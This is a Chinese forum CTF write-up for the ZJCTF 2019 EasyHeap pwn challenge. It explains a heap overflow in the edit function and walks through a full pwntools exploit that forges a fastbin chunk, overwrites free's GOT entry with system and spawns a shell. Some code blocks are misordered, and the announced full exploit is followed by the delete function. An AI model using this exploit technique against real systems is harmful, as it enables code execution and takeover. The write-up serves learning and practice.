【pwn】[ZJCTF 2019]EasyHeap --fastbin攻击,house of spirit

打印 上一主题 下一主题

主题 906|帖子 906|积分 2718

首先查看一下附件的保护情况

可以看到,got表是可修改的状态
接着看主函数的逻辑


非常典型的菜单题,接着分析每一个函数的作用
  1. unsigned __int64 create_heap()
  2. {
  3.   int i; // [rsp+4h] [rbp-1Ch]
  4.   size_t size; // [rsp+8h] [rbp-18h]
  5.   char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  6.   unsigned __int64 v4; // [rsp+18h] [rbp-8h]
  7.   v4 = __readfsqword(0x28u);
  8.   for ( i = 0; i <= 9; ++i )
  9.   {
  10.     if ( !*(&heaparray + i) )
  11.     {
  12.       printf("Size of Heap : ");
  13.       read(0, buf, 8uLL);
  14.       size = atoi(buf);
  15.       *(&heaparray + i) = malloc(size);
  16.       if ( !*(&heaparray + i) )
  17.       {
  18.         puts("Allocate Error");
  19.         exit(2);
  20.       }
  21.       printf("Content of heap:");
  22.       read_input(*(&heaparray + i), size);      // 往堆中读入数据
  23.       puts("SuccessFul");
  24.       return __readfsqword(0x28u) ^ v4;
  25.     }
  26.   }
  27.   return __readfsqword(0x28u) ^ v4;
  28. }
复制代码
这个edit函数,可以根据索引,修改堆中的内容,我们可以发现这个修改的size是可以自己重新输入,所以存在堆溢出的漏洞
接着再来看delete函数
  1. unsigned __int64 edit_heap()
  2. {
  3.   int v1; // [rsp+4h] [rbp-1Ch]
  4.   size_t v2; // [rsp+8h] [rbp-18h]
  5.   char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  6.   unsigned __int64 v4; // [rsp+18h] [rbp-8h]
  7.   v4 = __readfsqword(0x28u);
  8.   printf("Index :");
  9.   read(0, buf, 4uLL);
  10.   v1 = atoi(buf);
  11.   if ( (unsigned int)v1 >= 0xA )
  12.   {
  13.     puts("Out of bound!");
  14.     _exit(0);
  15.   }
  16.   if ( *(&heaparray + v1) )
  17.   {
  18.     printf("Size of Heap : ");
  19.     read(0, buf, 8uLL);
  20.     v2 = atoi(buf);
  21.     printf("Content of heap : ");
  22.     read_input(*(&heaparray + v1), v2);
  23.     puts("Done !");
  24.   }
  25.   else
  26.   {
  27.     puts("No such heap !");
  28.   }
  29.   return __readfsqword(0x28u) ^ v4;
  30. }
复制代码
这里free之后,指针置0,不存在uaf
然后主函数中还有一个函数
int l33t()
{
  return system("cat /home/pwn/flag");
}

这道题应该本来是要用unsortedbin打的,但是buuctf平台出现了问题,导致这个方法打不通,关于unsortedbin的方法:好好说话之Unsorted Bin Attack_unsortedbin attack范围-CSDN博客
然后这道题还有house of spirit的打法,以下主要分析这种打法,关于house of spirit打法的资料:好好说话之Fastbin Attack(2):House Of Spirit_fastbin attack house of spirit-CSDN博客
这里我先来介绍一下本题的思路,首先创建三个chunk,分别为0,1,2,然后我们free(2),chunk2就会进入fastbins中,然后我们再通过edit函数编辑chunk1,通过堆溢出覆盖chunk2的fd指针(fd指针表示下一个可用的chunk的指针),将fd指针修改成fake_chunk,这个fake_chunk的内容等下会分析,首先得有这个思路,然后这个fake_chunk得要能绕过malloc函数的检查,随后我们malloc两次,第二次就能将这个fake_chunk创建出来,创建出来之后,我们就可以通过edit函数进行编辑这个fake_chunk
现在我根据exp,一步步分析
from pwn import *context(os='linux',arch='amd64',log_level='debug')#io=remote("node4.buuoj.cn",25868)io=process("./easyheap")elf=ELF("./easyheap")
def debug():    gdb.attach(io)    pause()
def creat(size,content):    io.recvuntil(b"Your choice :")    io.sendline(str(1))    io.recvuntil(b"Size of Heap : ")    io.send(str(size))    io.recvuntil(b"Content of heap:")    io.send(content)    io.recvuntil(b"SuccessFul\n")
def delete(index):    io.recvuntil(b"Your choice :")    io.sendline(str(3))    io.recvuntil(b"Index :")    io.send(str(index))    io.recvuntil("Done !\n")    
def edit(index,size,content):    io.recvuntil(b"Your choice :")    io.sendline(str(2))    io.recvuntil(b"Index :")    io.send(str(index))    io.recvuntil(b"Size of Heap : ")    io.send(str(size))    io.recvuntil(b"Content of heap : ")    io.send(content)    io.recvuntil(b"Done !")首先便是定义好各个函数对应的功能函数,方便后面的调用,然后我们创建三个堆块,然后再free掉第三个堆块creat(0x60,b"aaaa")creat(0x60,b"aaaa")creat(0x60,b"aaaa")delete(2)我们debug看一下可以很清楚地看到,创建了三个chunk,并且第三个chunk已经被free,fd指针置0,可以输入fastbin查看接下来我们往第2个chunk中写入数据,需要堆溢出到chunk2(第三个chunk)中payload = b'/bin/sh\x00' +b'A'*0x60 + p64(0x71) + p64(0x6020ad)edit(1,len(payload),payload)这个payload写入完,chunk2的fd指针被置成0x6020ad,然后就是chunk2的size被置成0x71,这里最主要的是0x6020ad这个地址的选择,这个地址即是我们的fake_chunk的地址,需要在heaparray数组附近,至于为什么在这个附件,根据后面的exp就懂了。我们先来看一下heaparray数组附件的数据发现heaparray数组上面有7f这个数据,再想起我们创建的chunk大小实际都是0x70,如果7f这个作为我们fake_chunk的size位的话,刚好可以绕过检查查看0x6020ad的数据,发现刚好形成一个fake_chunk的结构,size位置成7f上面的代码执行完,我们可以继续debug看一下可以很清楚的看到第3个chunk的fd指针已经置成我们fake_chunkd的地址,前两个因为还没free,他们的fd暂时还是data数据那我们此时再malloc一次,就会把原先的chunk2还给我们,那如果我们再malloc一次呢?显然,就会把fake_chunk分配给我们,此时,fake_chunk在我们heaparray数组的索引是3,creat(0x60,b"aaaa")creat(0x60,b"aaaa")payload2=b'A'*0x23+p64(elf.got["free"])
edit(3,len(payload2),payload2)当我们edit我们这个fake_chunk时,其实就是从heaparray的上方地址开始写入数据,那我们可以利用堆溢出,将heaparray[0]的内容修改成free_got表地址,heaparray地址为0x6020E0,我们fake_chunk数据段的地址为0x6020bd,0xe0-0xbd=0x23payload3=p64(elf.plt["system"])
edit(0,len(payload3),payload3)
delete(1)io.interactive()此时heaparray[0]处已经时free_got表地址,我们edit(0)时,相当于修改free_got表的内容,此时我们将free_got表的内容修改成systemd的plt表,等到下次调用free函数时,相当于调用system函数,尝试就是chunk0的内容,即时/bin/sh,即可达到getshell的效果完整exp如下:
  1. unsigned __int64 delete_heap()
  2. {
  3.   int v1; // [rsp+Ch] [rbp-14h]
  4.   char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  5.   unsigned __int64 v3; // [rsp+18h] [rbp-8h]
  6.   v3 = __readfsqword(0x28u);
  7.   printf("Index :");
  8.   read(0, buf, 4uLL);
  9.   v1 = atoi(buf);
  10.   if ( (unsigned int)v1 >= 0xA )
  11.   {
  12.     puts("Out of bound!");
  13.     _exit(0);
  14.   }
  15.   if ( *(&heaparray + v1) )
  16.   {
  17.     free(*(&heaparray + v1));
  18.     *(&heaparray + v1) = 0LL;
  19.     puts("Done !");
  20.   }
  21.   else
  22.   {
  23.     puts("No such heap !");
  24.   }
  25.   return __readfsqword(0x28u) ^ v3;
  26. }
复制代码
   
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

商道如狼道

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表